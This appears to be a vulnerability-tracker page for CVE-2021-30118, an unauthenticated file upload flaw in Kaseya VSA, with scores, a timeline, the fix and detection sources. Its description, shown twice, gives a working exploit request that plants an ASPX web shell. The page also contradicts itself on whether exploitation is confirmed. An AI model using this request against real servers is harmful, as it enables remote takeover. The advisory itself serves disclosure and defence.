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ExploitedNot in CISA KEV yetFix available

CVE-2021-30118

Exploitation confirmed. First attested on 2023-12-23 by GCVE · kevintel, GCVE · shadowserver.

  • Published2021-07-09
  • Fixed in9.5.5
  • WeaknessCWE-434

Am I affected?

With a domain, we read the version its public headers and pages expose. A distribution build can carry the fix under an older number.

Description

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Timeline

dates in UTC
  1. 2021-07-0914:15CVE publishedNVD
  2. 2023-12-2303:28Listed as exploited by GCVEGCVE
  3. 2023-12-2303:28Exploitation first reportedGCVE

Observed activity

isMalicious corpus · updated 2026-11-03 21:37 UTC
Indicators tagged with this CVE, per day0 indicators over 7 days
Block these indicators
  • Firewall list (EDL, text): https://api.ismalicious.com/edl/cve/CVE-2021-30118?format=txt
  • CSV export: https://api.ismalicious.com/edl/cve/CVE-2021-30118?format=csv
  • TAXII collection of exploited CVEs
  • The EDL and CSV take an API key on the Pro plan.

Versions per branch

NVD
Kaseya vsa
BranchAffectedFixed in
9.5< 9.5.59.5.5

as publishedRanges as NVD and OSV publish them; a distribution’s build can be fixed under an older number.

Fix

  1. Update Kaseya vsa to 9.5.5

Advisories and patches

Detection

read 2026-11-02 22:42 UTC
Nuclei template
available
ProjectDiscovery
Exploit-DB
no entry
Exploit-DB
Proof-of-concept repositories
none listed
PoC-in-GitHub
Metasploit modules
none listed
Metasploit Framework

Sources

  • GCVEexploitation2023-12-23
  • CNACVSS 3.19.8known since 2026-10-23
  • NVDCVSS 3.19.8read 2026-10-23
  • NVDCVSS 2.010read 2026-10-23
  • NVDweakness (CWE)CWE-434read 2026-10-23
  • FIRST EPSSEPSS score60.3 %read 2026-11-02
  • ProjectDiscoverydetectionread 2026-11-02

Identifiers

Technical details

CVSS v3 Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Published
2021-07-09
Last Modified
2026-06-17
NVD status
Modified

Frequently asked questions

What is CVE-2021-30118?

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Is CVE-2021-30118 actively exploited?

Active exploitation of CVE-2021-30118 has not been confirmed. Its EPSS score was 60.3% on 2026-11-03, the estimated probability of exploitation in the next 30 days.

What is the CVSS score for CVE-2021-30118?

CVE-2021-30118 has a CVSS v3 base score of 9.8 (CRITICAL severity), with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.

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